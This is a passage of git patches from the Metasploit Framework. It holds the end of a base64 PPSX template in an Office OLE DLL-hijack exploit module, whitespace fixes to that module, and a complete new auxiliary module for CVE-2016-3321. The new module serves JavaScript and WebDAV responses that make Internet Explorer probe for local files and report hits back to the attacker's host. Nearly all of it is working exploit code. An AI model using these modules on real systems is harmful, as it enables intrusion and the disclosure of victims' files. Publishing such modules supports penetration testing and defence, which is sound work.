+GMGw87hbO+ysbtcnxBOJy8WE/8WW/wEAAP//AwBQSwMEFAAGAAgAAAAhAJ4r0ItY +AAAAwAEAABQAAABwcHQvbWVkaWEvaW1hZ2UxLndtZmJk4GRgYH7AAAIHwSQLEDMz +cjCwAmkepm//ucAsbiaQHIjFzghSAVLryK3AcIaBCwhBAKQSBDSAGMQCYUYGCbCY +AyOYQgH/8YJReULyzOBQBAAAAP//AwBQSwMECgAAAAAAAAAhAELHvQqzBAAAswQA +ABcAAABkb2NQcm9wcy90aHVtYm5haWwuanBlZ//Y/+AAEEpGSUYAAQEBAGAAYAAA +/9sAQwADAgIDAgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4L +CxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQU +FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8AAEQgA +kAEAAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//E +ALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEV +UtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVm +Z2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrC +w8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEB +AQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMR +BAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1 +Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKT +lJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm +5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/VOiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo +AKKKKACiiigAooooAKKKKACiiigAooooAKKKKAP/2VBLAwQUAAYACAAAACEAGAsR +G4oBAAAwAwAAEQAAAHBwdC9wcmVzUHJvcHMueG1srNLNitswEADge6HvYHRX9GPZ +iU2cRY4UKPRQyvYBhC0norZkJGV3S+m7V3WyS7alsJSeRkLM6BtptndP05g9aB+M +sw0gKwwybTvXG3tswJf7A9yALERlezU6qxvwTQdwt3v/bjvXs9dB26hiSv3ks1TI +hlo14BTjXCMUupOeVFi5Wdt0Njg/qZi2/oh6rx7TBdOIKMYlmpSx4Jrv35LvhsF0 +WrjuPCXApYjX4yIJJzOH52rzW6rd9vGKtEtN6qf4McTrKjt704Dvcl3uZcU4LHG+ +h4wwCttKtrAUJF9jTDCn6x+/sgmrexM65fsPkzpq2ZsoVFTPOML+4E2m8y64Ia46 +N137RLN71H52ZmmV4Ot7PaixARig3RYtuNdGkROOS8rhutpwyHJaQd4KAduWb4qy +pLgg+MWoB3Ue42IUs/mPPEr/CjyIQh44FxDLvYSsyCWsNjmBrGxp3soUcnYBFnV3 +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 +LAAAAAAAAAAAAAAAAAD2EgAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxh +eW91dDgueG1sLnJlbHNQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALAAAAAAA +AAAAAAAAAAD8EwAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDku +eG1sLnJlbHNQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALQAAAAAAAAAAAAAA +AAACFQAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDEwLnhtbC5y +ZWxzUEsBAi0AFAAGAAgAAAAhANXRkvG8AAAANwEAACwAAAAAAAAAAAAAAAAACRYA +AHBwdC9zbGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ3LnhtbC5yZWxzUEsB +Ai0AFAAGAAgAAAAhANXRkvG8AAAANwEAACwAAAAAAAAAAAAAAAAADxcAAHBwdC9z +bGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ1LnhtbC5yZWxzUEsBAi0AFAAG +AAgAAAAhANXRkvG8AAAANwEAAC0AAAAAAAAAAAAAAAAAFRgAAHBwdC9zbGlkZUxh +eW91dHMvX3JlbHMvc2xpZGVMYXlvdXQxMS54bWwucmVsc1BLAQItABQABgAIAAAA +IQBpol8hFQEAAMcHAAAsAAAAAAAAAAAAAAAAABwZAABwcHQvc2xpZGVNYXN0ZXJz +L19yZWxzL3NsaWRlTWFzdGVyMS54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLx +vAAAADcBAAAsAAAAAAAAAAAAAAAAAHsaAABwcHQvc2xpZGVMYXlvdXRzL19yZWxz +L3NsaWRlTGF5b3V0MS54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLxvAAAADcB +AAAsAAAAAAAAAAAAAAAAAIEbAABwcHQvc2xpZGVMYXlvdXRzL19yZWxzL3NsaWRl +TGF5b3V0Mi54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLxvAAAADcBAAAsAAAA +AAAAAAAAAAAAAIccAABwcHQvc2xpZGVMYXlvdXRzL19yZWxzL3NsaWRlTGF5b3V0 +Ni54bWwucmVsc1BLAQItABQABgAIAAAAIQDjbfGazwMAALAMAAAiAAAAAAAAAAAA +AAAAAI0dAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0MTEueG1sUEsBAi0A +FAAGAAgAAAAhAB05PjU6BwAAfDIAACEAAAAAAAAAAAAAAAAAnCEAAHBwdC9zbGlk +ZU1hc3RlcnMvc2xpZGVNYXN0ZXIxLnhtbFBLAQItABQABgAIAAAAIQDGjU/uxgMA +ADsPAAAhAAAAAAAAAAAAAAAAABUpAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5 +b3V0NC54bWxQSwECLQAUAAYACAAAACEAqHYRLWsEAAA5EQAAIQAAAAAAAAAAAAAA +AAAaLQAAcHB0L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDMueG1sUEsBAi0AFAAG +AAgAAAAhAJfmF4t6AwAAmQsAACEAAAAAAAAAAAAAAAAAxDEAAHBwdC9zbGlkZUxh +eW91dHMvc2xpZGVMYXlvdXQyLnhtbFBLAQItABQABgAIAAAAIQCzXO+0LwQAAFkO +AAAhAAAAAAAAAAAAAAAAAH01AABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0 +MS54bWxQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALAAAAAAAAAAAAAAAAADr +OQAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDMueG1sLnJlbHNQ +SwECLQAUAAYACAAAACEA0khaPOoEAAA1GQAAIQAAAAAAAAAAAAAAAADxOgAAcHB0 +L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDUueG1sUEsBAi0AFAAGAAgAAAAhAPNo +Qy3tAgAAagcAACEAAAAAAAAAAAAAAAAAGkAAAHBwdC9zbGlkZUxheW91dHMvc2xp +ZGVMYXlvdXQ3LnhtbFBLAQItABQABgAIAAAAIQDiS6XWmgMAANALAAAiAAAAAAAA +AAAAAAAAAEZDAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0MTAueG1sUEsB +Ai0AFAAGAAgAAAAhAKJnvlqVBAAAKhIAACEAAAAAAAAAAAAAAAAAIEcAAHBwdC9z +bGlkZUxheW91dHMvc2xpZGVMYXlvdXQ5LnhtbFBLAQItABQABgAIAAAAIQCzYB5L +xAQAALsSAAAhAAAAAAAAAAAAAAAAAPRLAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRl +TGF5b3V0OC54bWxQSwECLQAUAAYACAAAACEATUWDXBsDAAC8CAAAIQAAAAAAAAAA +AAAAAAD3UAAAcHB0L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDYueG1sUEsBAi0A +FAAGAAgAAAAhAMqrU7O+AAAAJAEAACcAAAAAAAAAAAAAAAAAUVQAAHBwdC9kcmF3 +aW5ncy9fcmVscy92bWxEcmF3aW5nMS52bWwucmVsc1BLAQItABQABgAIAAAAIQDg +2BvwGQYAAJcaAAAUAAAAAAAAAAAAAAAAAFRVAABwcHQvdGhlbWUvdGhlbWUxLnht +bFBLAQItABQABgAIAAAAIQDW7bmgNAIAAGUFAAAcAAAAAAAAAAAAAAAAAJ9bAABw +cHQvZHJhd2luZ3Mvdm1sRHJhd2luZzEudm1sUEsBAi0AFAAGAAgAAAAhAJ4r0ItY +AAAAwAEAABQAAAAAAAAAAAAAAAAADV4AAHBwdC9tZWRpYS9pbWFnZTEud21mUEsB +Ai0ACgAAAAAAAAAhAELHvQqzBAAAswQAABcAAAAAAAAAAAAAAAAAl14AAGRvY1By +b3BzL3RodW1ibmFpbC5qcGVnUEsBAi0AFAAGAAgAAAAhABgLERuKAQAAMAMAABEA +AAAAAAAAAAAAAAAAf2MAAHBwdC9wcmVzUHJvcHMueG1sUEsBAi0AFAAGAAgAAAAh +ANj9jY+sAAAAtgAAABMAAAAAAAAAAAAAAAAAOGUAAHBwdC90YWJsZVN0eWxlcy54 +bWxQSwECLQAUAAYACAAAACEAbSNu2YgBAAAqAwAAEQAAAAAAAAAAAAAAAAAVZgAA +cHB0L3ZpZXdQcm9wcy54bWxQSwECLQAUAAYACAAAACEAkU5i9R0CAACSBQAAEAAA +AAAAAAAAAAAAAADMZwAAZG9jUHJvcHMvYXBwLnhtbFBLAQItABQABgAIAAAAIQDW +V40PWgEAAKkCAAARAAAAAAAAAAAAAAAAAB9rAABkb2NQcm9wcy9jb3JlLnhtbFBL +BQYAAAAAKAAoAC4MAACwbQAAAAA= +|) + ppsx = Rex::Zip::Archive.new + + Zip::InputStream.open(StringIO.new(data)) do |zis| + while entry = zis.get_next_entry + ppsx.add_file(entry.name, zis.read) + end + end + + ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) + ppsx.pack + end + +end From 22054ce85c65e45e44cb1153c63114c5318051ce Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Tue, 9 Aug 2016 12:47:08 +0200 Subject: [PATCH 007/157] Fixed build errors --- .../fileformat/office_ole_multiple_dll_hijack.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb index a6b2cfc85f..0068586bd4 100644 --- a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -159,22 +159,22 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), ], self.class) end - + def exploit if target.name == 'All' targets = @targets else targets = [ target ] end - + @arch.each do |a| exploit_regenerate_payload('win', a, nil) targets.each do |t| if t.name == 'All' - next + next end print_status("Using target #{t.name}") - + dll_name = t['DLL'] if target.name == 'All' ppsx_name = t.name.split(/\//).first + ".ppsx" @@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote end print_status("Creating the payload DLL (#{a})...") - + opts = {} opts[:arch] = [ a ] dll = generate_payload_dll(opts) @@ -259,7 +259,7 @@ class MetasploitModule < Msf::Exploit::Remote ole_contents end - + def get_ppsx(clsid) data = Base64.decode64(%Q|UEsDBBQABgAIAAAAIQDgkYqZ2AEAADgNAAATAAgCW0NvbnRlbnRfVHlwZXNdLnht bCCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -914,13 +914,13 @@ V40PWgEAAKkCAAARAAAAAAAAAAAAAAAAAB9rAABkb2NQcm9wcy9jb3JlLnhtbFBL BQYAAAAAKAAoAC4MAACwbQAAAAA= |) ppsx = Rex::Zip::Archive.new - + Zip::InputStream.open(StringIO.new(data)) do |zis| while entry = zis.get_next_entry ppsx.add_file(entry.name, zis.read) end end - + ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) ppsx.pack end From b7049939d9f299683a23eb73dca235c738445175 Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Tue, 9 Aug 2016 12:55:18 +0200 Subject: [PATCH 008/157] Fixed more build errors --- .../windows/fileformat/office_ole_multiple_dll_hijack.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb index 0068586bd4..839e1a1006 100644 --- a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -164,9 +164,9 @@ class MetasploitModule < Msf::Exploit::Remote if target.name == 'All' targets = @targets else - targets = [ target ] + targets = [ target ] end - + @arch.each do |a| exploit_regenerate_payload('win', a, nil) targets.each do |t| From 3ed7908b836888a348e1854f7bc45282eca2c66d Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Tue, 9 Aug 2016 20:23:35 +0200 Subject: [PATCH 009/157] Internet Explorer iframe sandbox local file name disclosure vulnerability It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share. --- .../auxiliary/gather/ie_sandbox_findfiles.rb | 380 ++++++++++++++++++ 1 file changed, 380 insertions(+) create mode 100644 modules/auxiliary/gather/ie_sandbox_findfiles.rb diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb new file mode 100644 index 0000000000..ded30f1cb3 --- /dev/null +++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb @@ -0,0 +1,380 @@ +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + def initialize(info={}) + super(update_info(info, + 'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability', + 'Description' => %q{ + It was found that Internet Explorer allows the disclosure of local file names. + This issue exists due to the fact that Internet Explorer behaves different for + file:// URLs pointing to existing and non-existent files. When used in + combination with HTML5 sandbox iframes it is possible to use this behavior to + find out if a local file exists. This technique only works on Internet Explorer + 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do + this from a regular website as file:// URLs are blocked all together. The attack + must be performed locally (works with Internet zone Mark of the Web) or from a + share. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Yorick Koster', + 'References' => + [ + ['CVE', '2016-3321'], + ['MSB', 'MS16-095'], + ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'], + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Internet Explorer', {} ], + ], + 'DisclosureDate' => "Aug 9 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]), + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [true, "The URI to use (do not change).", "/" ]), + OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]), + ], self.class) + + deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL + end + + def js + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + + %Q|function report() { + if(window.location.protocol != 'file:') { + try { + window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; + } catch (e) { } + return; + } + + var frames = document.getElementsByTagName('iframe'); + for(var i = 0; i < frames.length; i++) { + try { + if(frames[i].name == 'notfound') { + frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; + } + else { + frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; + } + } catch(e) { } + } +}| + end + + def html + frames = "" + datastore['PATHS'].split(',').each do |path| + frames = frames + "" + end + %Q| + + + + + +#{frames} + + +| + end + + def svg + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + %Q| +| + end + + def is_target_suitable?(user_agent) + if user_agent =~ /^Microsoft-WebDAV-MiniRedir/ + return true + end + + info = fingerprint_user_agent(user_agent) + if info[:ua_name] == HttpClients::IE + return true + end + + false + end + + def on_request_uri(cli, request) + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + unless is_target_suitable?(request.headers['User-Agent']) + print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg") + resp = create_response(200, "OK") + resp.body = svg + resp['Content-Type'] = 'image/svg+xml' + resp['Content-Disposition'] = 'attachment;filename=image.svg' + cli.send_response(resp) + end + + case request.uri + when /^\/found\/\?f=/ + f = URI.unescape(request.uri.gsub('/found/?f=', '')) + report_note(host: cli.peerhost, type: 'ie.filenames', data: f) + print_good("Found file " + f) + send_response(cli, '') + when /^\/notfound\/\?f=/ + f = URI.unescape(request.uri.gsub('/notfound/?f=', '')) + print_error("The file " + f + " does not exist") + send_response(cli, '') + when "/" + resp = create_response(200, "OK") + resp.body = %Q| + + + + + +| + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + else + print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page") + send_response(cli, html) + end + else + print_status("#{request.method} #{request.uri} => 404") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + print_status("OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + print_status("PROPFIND #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path !~ /\/$/ + + if path.index(".") + print_status "PROPFIND => 207 File (#{path})" + body = %Q| + + +#{path} + + + +#{gen_datestamp} +#{rand(0x100000)+128000} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + +| + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + return + else + print_status "PROPFIND => 301 (#{path})" + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status "PROPFIND => 207 Directory (#{path})" + body = %Q| + + +#{path} + + + +#{gen_datestamp} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + + if request["Depth"].to_i > 0 + trail = path.split("/") + trail.shift + case trail.length + when 0 + body << generate_shares(path) + when 1 + body << generate_files(path) + end + else + print_status "PROPFIND => 207 Top-Level Directory" + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_shares(path) + share_name = datastore['SHARENAME'] +%Q| + +#{path}#{share_name}/ + + + +#{gen_datestamp} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + end + + def generate_files(path) + trail = path.split("/") + return "" if trail.length < 2 + + %Q| + +#{path}index.html + + + +#{gen_datestamp} +#{rand(0x10000)+120} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + +| + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + def run + exploit + end +end \ No newline at end of file From 0fcced20913d7b36850db92e7ad0dc14bfe0a9c3 Mon Sep 17 00:00:00 2001 From: 